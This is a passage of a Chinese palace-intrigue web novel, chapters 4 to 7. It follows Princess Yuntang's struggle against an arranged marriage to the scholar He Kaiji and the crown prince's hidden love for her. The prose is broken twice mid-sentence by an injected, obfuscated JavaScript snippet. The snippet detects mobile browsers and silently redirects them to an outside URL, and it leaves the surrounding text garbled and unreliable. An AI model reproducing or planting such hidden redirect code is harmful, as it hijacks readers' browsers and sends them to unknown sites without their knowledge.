他给了贺开霁一条仕途之路,但这人贪心不足,还想拿阿棠当踏脚石,这他就不会同意了。 何况阿棠并非公主,倘若有朝一日此事公之于众,像贺开霁这等追名逐利之徒,顷刻间就会反目。 此人绝非良配。 4. 第 4 章 待小侯爷走后,云棠拉了拉太子的袖子,“哥哥,这真是件奇怪的事情。” 太子垂眸看着她白皙的手指揪着自己的衣摆,有种自然的亲昵。 目光自手臂而上,越过圆润的肩膀与修长柔韧的脖颈,他将视线定格在云棠粉白的面颊上。 他第一次见云棠,是她十岁回京那年,从马车里跳下来一个小小的、瘦瘦的小姑娘,她也是这般拉着自己的衣摆。 只是那时候是怯生生的,圆圆的眼睛长在过于瘦弱的脸上,显得尤其大而无辜。 “我可以叫你哥哥吗?” 那时他点了点头,从此开启了长达六年的兄妹关系。 可现在的他,看着这张已经充盈的、明媚的面庞,一天比一天后悔。 哥哥,这个称呼,看似亲密却隔绝了一切亲密可能。 若早知有今日,就不该把人找回来,可不去找,又怎么有今日的缘分。 这是个死结,他要等到什么时候,他才能把这个身份去掉? 云棠瞧他黑眸如星,盯着自己的脸看,下意识摸了摸,没有沾上脏东西啊。 “哥哥?” 太子回神,看向她困惑的双眸,抬手将她被风吹到唇边的碎发别到而后,“什么奇怪?” 两人迎着暖风,并肩而走,夏初的落日有些刺眼,她将团扇遮在额角,“贺开霁,很奇怪。” “方才他说,他仰慕我,可我并未与他有来往,这仰慕从何而来?” “他与崔昭然似是有情,却在我面前全盘推翻,男子的仰慕情爱都是如此淡薄吗?” 太子垂眸看她,默然不语。 她将自己视作可依赖的哥哥,才会将这少女心思讲予他听。 但这是一种难以言说的折磨,他既为这份信赖而喜悦,也因这信赖而难过。 “阿棠喜欢他吗?” 云棠沉默了,什么叫喜欢,什么样的情感才算得上喜欢。 她想到了崔昭然看向贺开霁时泛红的双眼,那样的感情叫喜欢吗? 她沉默得越久,太子的心就越按捺不住,在他看来,这是一个不需要考虑,不需要犹疑的问题。 她考虑,她犹疑,就代表她对贺开霁存了心思。 “阿棠。”太子沉声如金石。 “哥哥喜欢过什么人吗?” 太子眸色一闪,骤然停下脚步,这句话像是一记闷雷突然响到他心上,掩于袖中的双手指尖都在发麻。 他转头看向太液池,湖水轻轻荡漾,岸边杨柳飘动如烟。 春和景明,但他的所爱却见不得光,吹不得风。 云棠察觉他未跟上来,转身走了回去,“哥哥?” “有,”太子看着那一池吹皱的春水,“男子的仰慕从不会是空穴来风,若有人如此对你说,定是有所图谋。” 哦吼! 哥哥竟然有仰慕之人! 她捂着嘴,眨巴眨巴眼睛上下打量,活像第一天认识他般,最后实在忍不住,好奇地问。 “是谁?我见过吗?谁家女儿?” 太子仔细甄别她的目光,想在其中搜刮出一点点其他的、他期待的意味,但显然,浓浓的全是八卦。 他径自往前走,“该让你知道的时候,会知道的。” 这是害羞了? 云棠偷笑了几声,灵巧地抬脚追上去。 哥哥竟有如此痛脚,这谁能忍得住不多加调侃? “哥哥,那要到什么时候啊,不会等到我都嫁给贺开霁了,你的时候还没到吧?” 太子本就一腔心绪难平,看她轻松模样更是恼火,如小时候般熟稔地拧着她的耳垂往前走。 “哎呀,哎呀,哥哥快放手,”云棠偏着头,抓着他的手腕,“我已经是大姑娘了,你不能...” 两人谈笑的声音散在风里,身影也慢慢消失在紫藤长廊下。 贺开霁自认为与公主开诚布公谈过后,这门婚约已有了半数把握。 只是崔昭然始终是个隐患,更何况她手里还有一份情信,是他在除夕夜即兴之作。 这东西得拿回来。 他回到宅邸后,立刻差家仆去了一趟尚书府,约崔昭然明日瑞庆斋叙旧。 崔昭然自小被捧在手心长大,第一次有人要跟她抢,且还是个她抢不过的公主,气得她晚饭都吃不下。 结果到了半夜,又饿得睡不着觉,看着窗外高悬于空的明月,对公主和贺开霁的讨厌又深了好几分。 想起白日里的那一句,不过一面之缘,心里忍不住就开始泛酸。 明明他在崔府暂住的那段时日,他们常在人后说话,也曾一桌用膳,怎么就只有一面之缘。 他难道真是个负心薄性之人吗? 也说不定是迫于公主强权,有苦衷的呢? 越想越伤心,又饿,她忍不住淌起了眼泪,微微抽噎声惊醒了守夜的丫鬟。 “小姐,这是怎么了?” 崔昭然不想说自己想贺开霁哭了,只说饿哭了。 丫鬟早有准备,将藏在百宝柜里的一碟子桃酥姬和辣卤肘子端了出来,又取了一张小几放到床上,厚厚的帷帐落下来,外头就看不到里边。 “这是瑞庆斋的肘子,”崔昭然一尝就尝出来了,想到明日,又是一阵伤心,一碟子肘子拌着眼泪吃了个精光。 其实她平日里十分像个大家闺秀,琴棋书画无一不精,唯有一样不大像。 嘴馋,好吃。 京城里有什么好吃的她都知道,就算在旮角窝里,她也能闻着味儿寻过去。 吃得多,肉长得也多,于是她日夜奋斗在吃与不吃的艰难抉择中。 但往往是,先吃了再说。 次日,她弄了个十分精致的妆容,穿上京城里如今最时兴的淡青仿花罗织金襦裙。 看着铜镜里的自己,远山蛾眉,双眸妩媚,嘴唇嫣红饱满,这副娇美面容他会喜欢吧。 但想到昨日见到的明华公主,依偎在皇后身边温顺的模样,拿着团扇盛气凛然的模样,那就是贺开霁喜欢的模样吗? 她拿起团扇对镜用力模仿,一点都不像。 努力无果后,摇着头上了出府的马车。 马车“哒哒哒”地驶出信义坊,拐入热闹的清平街,在其后边远远的跟着一辆马车。 里面歪坐着小侯爷陆思明,昨晚他安插在贺开霁家旁边的探子回来说,今日贺开霁估计要私会尚书府女公子,他高兴地一宿没睡,早早在尚书府门口蹲点,果然蹲到了崔昭然。 这可是被他拿住把柄了! 他必须要一棒子敲醒云棠那颗混沌脑袋,不能白白让那伪君子骗了去。 一国公主,理当是养十个八个面首,每日里潇洒快活,而不是嫁个什么五品官,傻傻给人当血包。 他在贺开霁定的包房旁也订了一间,只是这墙壁太厚,听不大真切,隐约能听到争吵声。 “哐!” 一声巨响。 小侯爷桌上的茶杯都晃了一晃。 “探花郎红着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457643|169590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子,怒气冲冲地走了。”小厮机灵地通风报信。 小侯爷喜上眉梢,麻利地站起来,弹了弹衣袖,推开了隔壁的木门。 “怎么样,我说得没错吧,”他得意洋洋地在崔昭然旁边坐下。 崔昭然却是一脸的仓惶与难过,她从未想过贺开霁会对她恶语相向。 从前的翩翩君子,刚才彻底撕下伪装,露出内里血肉淋漓的尖锐犬牙,只因为她说了一句。 那份情信已经在来的路上给了陆小侯爷。 “刚才半路上,我就说了,他对你没有真心,他只想攀高枝,从前你是那高枝,如今有了更好的高枝,怎还会理你。” “你看,一试就试出来了,现在他要恨你入骨了。” “你输了,快把那份情信给我。” 崔昭然红着一双眼,眼眶里盛满了将落未落的眼泪。 前头小侯爷半路截停她时,她甚至还在为他力争,真是一颗真心白白喂了狗! 男人都是狗! 狼心狗肺、趋炎附势的玩意儿! 老天怎么就不降个雷劈死他啊! 看旁边的小侯爷洋洋得意的模样,怒气瞬间喷薄而出,端起酒壶就往他脸上泼。 那酒是用冰镇过的。 “哎呀,好凉,好凉!”小侯爷细皮嫩肉,怎受得了这等风霜,“你是失心疯了吗?!” 崔昭然识破情郎真面目本就难过,小侯爷还兴高采烈地来撞她枪口,十分可恶! 又端起桌上还未动筷的辣卤肘子,朝人身上扔去! 小侯爷敏捷地弹跳后退,指着她警告,“你再撒泼,我就!我就...” “你就怎样!”崔昭然作势还要泼,“情信在我手里,你能怎么样!” “你!你如此泼辣,哪个,哪个男人会喜欢!” 崔昭然被踩了痛脚,当下怒吼:“又不用你喜欢!你操得哪门子心!” 盛怒之下,也不管后果,一盘接着一盘追着朝小侯爷掷去。 小侯爷东躲西藏,一室狼藉,两人气喘吁吁地看着彼此。 “我若是将信给了你,他会死吗?” “死不至于,估摸着尚公主是要黄了。” 那就行,她不好过,狗男人也别想攀高枝。 崔昭然撒完气,将那份信从袖中取出,扔给小侯爷。 小侯爷接了信,踩着一地的叮铃咣啷出包房。 门口那个机灵的小厮看着他春风得意地进去,灰头土脸地出来,诧异道。 “小侯爷,你脸上有水。” 小侯爷沧桑地抹了一把脸,“我知道。” 这笔账他要记在云棠身上,招惹的都是些什么人! 必须狠狠敲她一笔,让她替自己写上半月的作业,不,一个月! 身在宫中的云棠并不晓得小侯爷今日的崎岖,只以为他是真病了,才告假没来进学。 今日太傅说了,每个人都要做一篇为官之道的策论,明日要交,点名告假的那位也要写。 到了晚间,她写完一篇,又铺了一张纸,打算把小侯爷那份也写了。 就算用脚想都知道,小侯爷一定不会写,明日开天窗又要被太傅责罚。 但她学艺不精,写完一份已经是勉力而为,再另做一篇也是抓耳挠腮。 她忽然想起贺开霁,这人虽然人品不详,但才学是公认的好,写这些文邹邹的策论想必是信手拈来。 哎,要怎么才能让母妃放弃这门亲事,她还没有想出来个好办法。 5. 第 5 章 贺开霁未能追到小侯爷,整个人都坐立不安。 依照小侯爷与明华公主的关系,那份情信用不着半个时辰,就会出现在公主的案上。 公主若看了情信,那日前他说得那些话,都会变成谎言。 贵妃娘娘还会许下这门婚约吗? 更麻烦的,是太子殿下。 他会被认定是崔尚书一党,于公于私殿下都会视他为处心积虑的奸佞。 很快,他就会既得罪了崔府,又要见罪于公主与太子,未来灰暗惨淡的仕途仿佛就在眼前。 寒窗十年,不能只是这个下场,他阴沉着脸,将压在书案最下边的那份检举信抽了出来。 惟今之计,只能在公主和贵妃发难之前,先撇清与崔氏的关系,或许能博得太子青眼。 那份情信,小侯爷本想直接送去昭和殿,半路却被东宫的侍从拦下。 东宫书房里,太子皱着眉,一目十行略略浏览后道:“这东西不能给云棠看到。” “为什么?!”小侯爷跳了起来,他费了老鼻子劲儿才弄来的!“阿棠看了这个肯定就不会选这伪君子当驸马了!” “历来公主婚嫁,从不会因个人好恶而定,这道理你不懂?”太子道。 小侯爷耷拉下肩膀,坐了回去,“那按你的说法,阿棠是非嫁他不可了?” 阿棠,阿棠。 这亲昵的叫法叫得太子耳朵难受,他眼尾带刀般地瞥了一眼小侯爷,“她嫁谁,我说了算。” “你有办法?!我就知道这么多年兄妹,你肯定不会看着她往火坑里跳,快说说,快说说,你打算怎么办?” “来人。”太子嫌弃他太吵,唤来宫人,对小侯爷道,“前些日子你看上的东宫烧陕菜厨子,赏你。还有张千英的那副山水画,你也拿走。” “真的?!”那厨子他要了好多回,太子都没给,因为云棠也喜欢吃那厨子做的菜。 “都拿走,你也走。” 小侯爷被这突然的富贵迷了眼,高高兴兴地跟着去捞人捞东西了。 反正阿棠的事,太子肯定会管到底。 太子将人打发走后,看着那份情信,嘴角嘲讽地一勾。 随即写了一份字条秘密送到了户部沈侍郎府上。 明日大约是有好戏要开场了。 * 第二日,晨起时乌云重重,天色昏沉,是个雷雨天。 云棠昨夜辗转反侧,不得安眠,如今眼下一片青黛,频频打哈欠。 想了半宿,还是没想出来个万全的主意去推掉这门婚事。 她正梳着乌发,听雨快步走了进来,覆在公主的耳边,小声说话。 “贺大人在平章台被打了板子,说是因为弹劾崔尚书贪污腐败。” “当真?” 云棠瞬间睁圆了一双熊猫眼,她这还没想出个办法,怎么他们先窝里斗起来了? 这当真是喜从天降! “快!备轿,我要去平章台。” 自从太子从江南回来后,陛下就赐了他监国令,自个儿避入玉霄宫修道修身去了。 如今每日上朝,都是太子在处理朝政。 贺开霁今早在平章台当着满朝文武,当着崔尚书的面,将他写了一晚的弹劾文,字正腔圆地念了出来。 满堂哗然,谁不知这贺开霁是崔尚书的人,当下就有人附和贺开霁大义灭亲,真名士也。 也不乏有些官员觉得他狼心狗肺,放下筷子就骂娘。 太子命大理寺收了他的弹劾文,并要求彻查其中贪腐真相。 未查明真相前,崔尚书需暂居宅邸,不得出府。 而贺开霁,太子让人拖出去打了二十大板,不为他弹劾,而是责问证据来处时语焉不详,不尽不实。 朝廷命官自有尊严所在,不能由得人随意弹劾诬告。 贺开霁知道那份信肯定是太子送给他的,但他何敢拖太子下水,只能吃了这哑巴亏,屁股生生受了二十板子。 云棠到平章台时,正好看到贺开霁在太监的搀扶下,颤颤巍巍、青白着脸往宫外走。 每次见到这探花郎都是一副玉树临风的模样,这倒有几分新鲜。 瞧着马上要下大雨,为着他读过的圣贤书、他的满腹才学,云棠想了想,让侍女给他送了把伞。 一路进到平章台的东偏殿,那是陛下划给太子临时办公、见臣下的地方。 太子正坐在御案后批奏章,他已换下朝服,穿着白色麒麟织金绣花暗纹圆领袍,头戴一顶簪玉金冠,俊颜凛冽中带着不怒自威的天家气象。 东宫徐常侍躬身肃手,静立一旁。 徐常侍自太子出生起就侍奉在侧,看起来十分懂太子的心思。 云棠没让人通报,悄悄地走进来,还未走到御案边上,太子就知道了。 头都没抬,声如珠玉,“你怎么来了?” “太子哥哥看都没看就知道是我?” 太子书道功夫精绝,翰墨如流,放下羊毫笔,抬头看她,笑道:“除了你,还有谁能不通报就进这御用书房?” 书房里开了两扇窗透气,外头电闪雷鸣,顷刻间瓢泼大雨落下。 夏天的雨霸道,跟着风就往殿内钻,“哥哥为什么要打贺开霁?” 太子微微偏头,一双漂亮的眼睛微微眯起,“你为了他才来找我?” 云棠点点头。 今日她有课业,还特意跟太傅告了假,若不是贺开霁闹了这一场,她现在肯定在进学。 太子黑沉沉的眼眸盯了她一眼,随手拿起一本奏疏,凉凉道:“他才出宫,若是想知道他伤得如何,现在追过去,应该还追得到。” 徐常侍一进来就察觉氛围不对。 他刚出去张罗果品茶点,出去前殿下还如沐春风,不过片刻工夫,这面色就跟外头的雷雨天一样阴沉沉的。 也不敢问,招呼宫女放下茶点果品,就通通退到了殿外。 云棠喝了口热茶,见人都出去了,才道。 “我知道,刚来的时候见到了,看着怪可怜的,我让听雨给他送了把伞。” 太子闻言不怒反笑,靠着椅背,“你喜欢他?” “这怎么可能!” 饭可以乱吃,话不能乱说! 万一传到母妃耳朵里,她跳进黄河都要洗不清,“哥哥是太子,说话怎么这么不当心。” 她还斥责自己? “昨夜我想了一宿,要怎么跟母妃推掉这门亲事。没想到,他今天上朝弹劾了崔尚书。” “我知道,母妃就是为了结交上崔尚书才要我嫁给贺开霁,现在他这么一闹,母妃是不是,就不会要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457644|169590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我嫁过去了?” 这两句话还算顺耳。 太子放下奏章,单手支颐看着她剥栗子,道:“不一定。” 云棠手指微顿,糖炒栗子的香味和热度从指尖传来,抬眼看向太子,眸中带着疑惑。 “我听说崔尚书当场都快气晕过去了,两人闹成这样,这还怎么嫁?” “你自己呢?你想嫁贺开霁吗?” 这档子事,云棠一直都没有问过他的意见,他从回京的第一天就在等,等她亲口问。 但现在看来,在云棠心里,这件事从来不必向他过问。 云棠隐隐觉得他有些不高兴,于是起身走过去,将剥好的栗子递给他。 栗子焦香清甜,口感绵密,是她十分喜爱的果子,“你不想我嫁贺开霁,对吗?” 太子接过栗子,放在鼻尖轻嗅。 “我虽然是个公主,但也知道前朝的事,如今父皇隐在人后,淮王背靠中书令,对太子位虎视眈眈。” “崔尚书出身清河崔氏,又得父皇多年垂青,他一向在皇位之争里持中立立场,若他也倒向淮王,哥哥的处境会越来越难。” “不用想这些,你只消想,你愿不愿意,你想不想嫁他。” 云棠诚实地摇摇头,曾经她是动过这个心思,只是贺开霁不堪托付。 太子唇边的笑意渐渐浓了起来,“那就不嫁。” 这也不是一句不嫁就可以了结的事,要找个合适且足够有力的理由去说服母妃。 太子观人于微,从一堆奏折中抽出一份信函递了过去。 “贺开霁写的。” “昨日思明从崔氏女手里拿来,本不想给你,平白污眼睛,但拿去给你母妃看看吧,说不定管用。” 云棠打开一看,洋洋洒洒一长篇热烈示爱的文章。 这探花郎看着稳重,竟然还有这么火热、奔放的一面。 啧啧啧。 云棠回了座,一边吃茶吃果子,一边逐字逐句看得津津有味,比话本子有文采。 怪不得那天崔昭然眼睛红成这样,若换做是她,当下咬死贺开霁的心都有。 前有贺开霁当庭弹劾崔尚书,后有为攀皇恩,狠心抛弃崔氏女,这两桩事堆在一起,崔尚书和贺开霁定然决裂。 母妃也没了理由再要她嫁过去。 拿定主意,当下就要起身就往蓬莱殿去。 “若你母妃仍旧一意孤行,你力拒就是,万事有我。” 太子在她出门前,嘱咐道。 云棠不懂他的忧虑,她虽不得母妃宠爱,但母妃是她生身母亲,不会真把她往火坑里推,退一万步真要把他往火坑里推,也得推个有用的火坑不是? “哥哥别担心,那盘炒栗子我还要吃的,你等我回来。” 太子看着在风雨中渐行渐远的身影,眉宇里藏着几分愁绪。 而后回到她方才坐的圈椅里落座,专心致志地一颗接一颗,剥栗子。 徐常侍瞧了瞧御案上的奏折,又瞧了瞧闲坐一旁的殿下,嘴里嘟囔了一句。 “真是越大越不懂殿下了。” “我听得见,”太子笑着瞥了他一眼,“让人去请小侯爷,去一趟蓬莱殿。” “这老奴懂了,殿下放心不下公主,自己又不好去蓬莱殿,所以让小侯爷去打个岔。” 6. 第 6 章 乌云密布、雷雨交加,一顶软轿由四位蓝衣太监抬着,在红墙黛瓦间快步穿行,不过一刻钟的时间,她到了蓬莱殿。 “殿下请稍等,娘娘正与中书令说话。” 方嬷嬷从殿内出来,见公主的裙摆湿了一块,劝说她去更衣,但云棠情急并不想理会这种小节。 方嬷嬷对公主有几分怜惜,低声道:“奴婢方才听娘娘的意思,殿下与贺探花的婚事恐怕要缓一缓了。” “当真?”云棠心中一喜,此事果然有转机,“嬷嬷你自去伺候母妃吧,我更衣后自己过去。” 方嬷嬷欠身一福,让宫女领着公主去了。 静幽堂中,沈贵妃隔着一扇山鸟绸缎屏风与中书令说话。 中书令年约五十,两人从亲上论起来,贵妃当唤中书令一声表舅。 且沈贵妃未入宫之前,还在中书令府住过一段时间,如今两人一个在后宫,一个在前朝,互为倚仗,紧密相连。 “这婚事就不应该提出来,娘娘为何不跟我商量后再定。” 中书令面容严肃,目光如炬,两鬓稍显斑白,但整个人气质坚如磐石,犹如平章台正殿中的那根擎天石柱。 “崔尚书膝下无子,贺探花才华出众,他视其亲子一般,本宫怎么能料到事情变成这样。” 淮王也坐在一侧,冷笑道:“我看那探花郎是吃了疯药。” 中书令沉眸深思,年初太子殿下下江南查贪腐,最后一道结案奏疏里提及崔钟林,陛下看了后留中不发,未作处置。 “娘娘与陛下提过这桩婚事吗?” “本宫说与陛下时,是允准的,”贵妃道,“原本就是为了结交崔尚书,如今闹成这样,还得找个由头将这婚事推了好。” “不可,”中书令沉声道,“娘娘服侍陛下近二十年,怎么就不明白君王纵横捭阖的道理,太子与淮王如今在朝中平分秋色,若崔尚书真倒向淮王,恐怕淮王的祸事顷刻就要来了!” “如今这探花郎反了水,恰好替淮王洗了这结党的罪名,娘娘只消对陛下言,看重探花郎才学人品,才要嫁女,这婚事不但不能推,还需速速完婚,如此,这一篇在陛下面前,才算揭过去了。” 贵妃听得心惊肉跳,捂着胸口道:“照中书令这话,怕是要得罪崔尚书了。” “太子因着江南贪腐案,卯着劲儿要收拾崔尚书,娘娘还怕往后没有机会拉拢尚书吗。”中书令语带嘲讽,女子做事太露痕迹又太急切,难成大事。 贵妃半晌未有言语,手上无意识地抚弄着黄金护甲。 贺探花今日当庭弹劾,陛下未发一言,想来还是要护着崔尚书。 如此这探花郎怕是要贬出京城,云棠若是嫁予他,岂非也要离京? “母妃,先头行错,现在更不能让父皇对我起疑,就依中书令所言,将云棠速速嫁了,我们也好脱身。” 中书令见她仍有迟疑之色,道:“娘娘自己端了一盆脏水顶在头上,如今这盆脏水要泼下来了,想干干净净地跑没那么容易,舍了公主保下淮王,这买卖不算亏。” 云棠换完外衫后,着急与母妃说话,没有等传唤,逾越走进静幽堂。 她站在帘后,面无表情地听了全程。 珠帘微微晃动,偶尔相撞,她透过珠帘的空隙,看到母妃点了点头。 心中痛楚难当,手中的情信被她捏出深深的褶皱。 这么容易就舍弃了吗? 小时候流离失所,生活贫苦,却也见过别的孩子被父母呵护在怀,风霜雨雪,衣难御寒,却有父母怀抱可取暖。 她知道母亲要她嫁贺开霁是为了淮王,但这十分用意里,她总以为有几分是为了她好。 为什么。 为什么母亲这么轻易就舍弃了,我。 因为是皇家吗? 因为皇家亲情奢侈吗? 是她在妄求吗? “公主!”方嬷嬷奉茶回来,一声惊呼,殿中三人的目光都看了过来。 云棠一一看过去,最终落到母亲脸上时,眼底的酸涩难忍,转身出了静幽堂。 淮王见母妃神色不好,安慰道:“她早晚要知道,现在知道了也省得母妃再为她费口舌。” “方嬷嬷你跟出去看看,别出什么事。”沈贵妃撑着头吩咐道。 外头风雨交加,云棠未打伞,也不等宫人打伞,只想快点离了这蓬莱殿。 闷头一路哭,一路跑,通身都湿了个遍。 “阿棠!”小侯爷刚下轿,就看到这人跟疯了一样,“你怎么回事,淋成这样!” 小侯爷手上没有绢帕,伸手给她抹了抹满脸的雨水。 云棠看到他,一直强撑着的肩背软了下来,只是眼泪止不住,她不想哭的。 她一点都不想哭的。 小侯爷有点慌,太子爷也不说明白,这又是在闹哪一出? 云棠抽了抽鼻子,脸上的妆容乱七八糟,眼睑下直溜溜两道黑痕迹,头发也乱糟糟的。 “小侯爷,你还记得你母亲吗?” 陆思明一家都在西北,独他一人在京。 每年一到节日,他母亲都会送东西进京,只是她三年前因病去世了。 陆思明指了指手上的衣袍,“当然记得,这就是母亲做的。” 面料柔软又顺滑,衣袖上绣着小侯爷喜欢的白鹤,一针一线用足了心思。 即便母亲已经故去,但她留下的衣物依旧很好地照顾、安慰着孩子。 这是母亲之爱。 她抓着衣袖,忽然笑出了声,双眼猩红含泪,笑声混杂着雷雨声,蕴含着说不清的难过与心痛。 说什么皇家亲情奢侈,不过是她可怜又可悲的借口。 母亲只是不爱她,所以牺牲起来,格外容易。 “你怎么了?”陆思明被她这哭笑弄得有点慌。 后边的方嬷嬷带着几个宫女太监追了上来,见这狼狈模样,驻足不敢上前。 云棠慢慢止住了眼泪,顶着一张花脸,道:“太子哥哥让你来的?” 小侯爷点点头。 是啊,还有太子哥哥。 她不能就这样由着他们把自己嫁了。 “你先回去吧,我还有事要办。”云棠转身又要进蓬莱殿。 方嬷嬷见状,赶紧扶了上来。 云棠仰头望着“蓬莱殿”三个大字,铁画银钩,雨水冲刷下越发光亮、冰冷。 恍然间,她想起第一次进殿时,心有战战,怕母亲不喜欢她,不敢多说一字,多行一步。 斜风夹着大雨从殿内扑面而来,衣裙翻飞,乌发如瀑,她于这风中静立片刻,沉声道。 “方嬷嬷,替我沐浴更衣。” 小侯爷眼见她又要进那虎狼窝,着急地跑上来,戒备着蓬莱殿的宫人,小声道:“你不要冲动,有什么事太子爷会替你料理的。” 若你母妃仍旧一意孤行,你力拒就是,万事有我。 现在想来,太子哥哥大概早就猜到是这个结果,所以出门前他才会这样说。 但她不能把什么事都推给别人,太子哥哥有自己的事,她也有自己的路要走。 有些事她得自己办,有些话她得自己说。 “小侯爷,你回去告诉太子哥哥,我虽然没什么用,但也断不会给他拖后腿。” 云棠扶着方嬷嬷的手在风雨中又回了蓬莱殿,一番梳洗后,锦衣华服、妆容精致地重新回到静幽堂中。 堂中方才三人俱在。 她在堂中跪下,向贵妃娘娘行大礼。 礼毕后,她看向中书令,话却是对着贵妃娘娘讲的。 “母妃,这盆脏水,只靠把我嫁给贺开霁,是泼不干净的。这套说辞只能在面上掩饰过去,却难消父皇心中的多疑。” 中书令冷哼一声,一双鹰眼盯着公主,“那公主有何高见,老夫洗耳恭听。” “没有高见,只有儿女私情,”云棠从袖中拿出那份情信,“这是贺开霁写给崔尚书女公子的情信。” “我爱慕贺开霁文采,缠着母妃请求父皇赐婚,却在送春宴上发现贺开霁和崔昭然之间的情谊,后又请小侯爷帮忙取到这一封情信,女儿不愿嫁三心二意之徒,也不愿夺他人所好,所以,请母妃替我推拒婚事。” 方嬷嬷将信接了过去,呈给贵妃。 中书令黑眉皱起,看了一眼那情信,小女儿的玩意儿,不值一提。 冷嘲道:“这番说辞,就能消圣上疑心了?公主未免把朝堂看得太儿戏了!” 云棠一双杏眼一向柔和,此刻却带了尖锐锋芒,当下顶了 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云棠一直忍着、憋着的怒气、委屈生生被逼了出来,言语上变得愈加刻薄,“靠着我嫡亲的淮王哥哥,别说好下场,想必连葬身之地都难求!” “李云棠!”淮王气得摔了茶盏,“嘭”地一声,一地狼藉。 云棠退了几步,以免衣裙被溅上,她轻提裙摆,道:“淮王哥哥慢慢生气,妹妹先走一步。” 言毕,再未看堂中人一眼,径自走了出去。 蓬莱殿外,小侯爷打着伞立于雨中,在等她。 小侯爷什么也没问,替她打着伞将人带回了东宫。 云棠像是没了知觉,脑袋里空白一片。 被人扶着下了轿,沿着长廊走路也像走在棉花上,轻飘飘地踩不到实处。 待昏沉的视野里出现一个熟悉的身影,静静地伫立在雨幕之后望着她。 强撑着的一口气忽然就散了,热泪酸涩,满心的委屈和伤心都跑了出来。 她跌跌撞撞地扑向他温暖的怀抱,脸颊紧紧贴着他的胸膛,鼻尖萦绕着熟悉的四合香气味时,才略略回魂。 “哥哥。”云棠的嗓子发哑,勉强发出的声音都在抖。 太子向来沉稳有力的手因这一声“哥哥”而微微颤抖,像是有无数根细密的尖针一下一下戳着他的心。 轻轻拍着她的肩背,将玄色披风罩在她颤抖的身躯之上,略带薄茧的指腹心疼地抚过她发红的眼皮,安慰道。 “没事了。” 云棠贪婪地闻着熟悉的味道,以此来谋求一点点确定的安稳。 清月上前接过公主,领着人去沐浴休息,跟在后面的小侯爷见人走远了,才道。 “你明知道蓬莱殿要闹幺蛾子,为什么还让她去。” 太子收回目光,转身望向连绵不绝的风雨。 云棠一直天真地想要一点纯粹的母亲挚之爱,即便那人从不曾给与过。 如今陛下心思越发诡秘,皇位之争也越来越艰难,这念想终究要断,不如在他还能掌控局面时断。 起码,在现在,无论出了什么事,他都能给她兜底。 “你说话啊。”小侯爷催促道。 “我可以当她的,”太子言语停顿了下,“哥哥,却当不了她的母亲,有些事,早点清醒是好事。” 云棠在热气蒸腾的浴室,安安静静泡了许久,她睡了一个长觉。 梦见小时候当小乞丐的样子,又梦到自己脏兮兮地从马车上下来,看着眼前金尊玉贵的太子殿下,小心翼翼喊哥哥的模样。 “哥哥。” 云棠醒了过来,手软脚软地埋在柔和温暖的衾被里,厚厚的帷帐一层层将光亮隔绝在外,昏沉地十分适合睡懒觉。 她不知道睡了几个时辰,也不知身在何处。 转头看到床榻上挂着一只小巧的香囊,丑丑的、熟悉的,是她费劲缝出来的小山鸡。 视线下落,枕头边放着一碟剥好的栗子,果肉金黄,气味清甜。 是东宫啊。 心中稍有喜悦,转瞬间脑海里浮现蓬莱殿的那一幕,眉眼耷拉了下去。 不知道今日那番说辞,能不能说服他们。 7. 第 7 章 在云棠昏沉睡梦之时,太子正在书房与一男子密谈。 “殿下,贺开霁提供的证据并不足以扳倒崔尚书,可能只是竹篮打水一场空。” 太子站在窗边,雨后清凉,夜风拂面,远眺之下仿佛能看到陛下的太初殿。 原本就没想过这点证据就能扳倒屹立多年的崔尚书,不过是投石问路,试探陛下的心意。 若陛下愿意彻查,那就依圣明查;若陛下仍旧要息事宁人,那他就另谋他图。 这啃食江南多年的蛀虫势必要抓。 “依周侍郎所言,下一步该当如何?” 周世达任职户部侍郎十余年,对崔尚书知之甚深,手上也有些把柄。 他撩起衣角,恭敬跪下,“殿下,贺开霁不过一介御史,臣愿明日再行上奏,弹劾崔钟林中饱私囊,鱼肉江南。” 太子望着漆黑而混沌的天,又感慨又似打禅机,“雨急露重,这门看来是出不去了。” 周世达不明就里,抬头看向殿下,面容青峻,身形如竹,“请殿下明示!” 太子转身,笑着扶起周侍郎,“侍郎为国为民之心可表,孤在一日,必当保你一日。” “这次,你可能要吃一些苦头,但孤会保你性命。” 铁骨铮铮的周世达听到这话,心中涌起一股暖流。 为人臣者,最想要的不过是君王垂青,此时上谏,定然凶多吉少,殿下却给了承诺。 “如今风雨如晦,还望殿下多加珍重。” 次日,周世达于殿上领衔上奏,不同于贺开霁的弹劾,周侍郎是掐着崔钟林的命脉去的。 这把火瞬间将朝堂都烧了起来。 太子也将周世达送去大理寺,看上去是一副要维护崔尚书到底的做派。 下朝后,他面色黑沉地回到东宫,整个人压抑地像一团想要发泄却又无从发泄的黑雾。 他屏退左右,自己打着竹伞往寝殿走,还未走到就听到一阵欢笑声。 抬起竹伞,就看见云棠正站在屋檐下,接檐上的雨水玩。 “太子哥哥!”云棠高兴地扬着手,“快来,这雨水凉凉的,很舒服呢!” 太子的眸光轻描淡写掠过柔软的乌发、自然饱满的面颊,软唇如桃花粉嫩,从衣领里露出来的脖颈细白、漂亮。 他忍不住起了遐思,想要伸手握上去。 虎口贴着她的下颚,感受她跳动的、温热的脉搏。 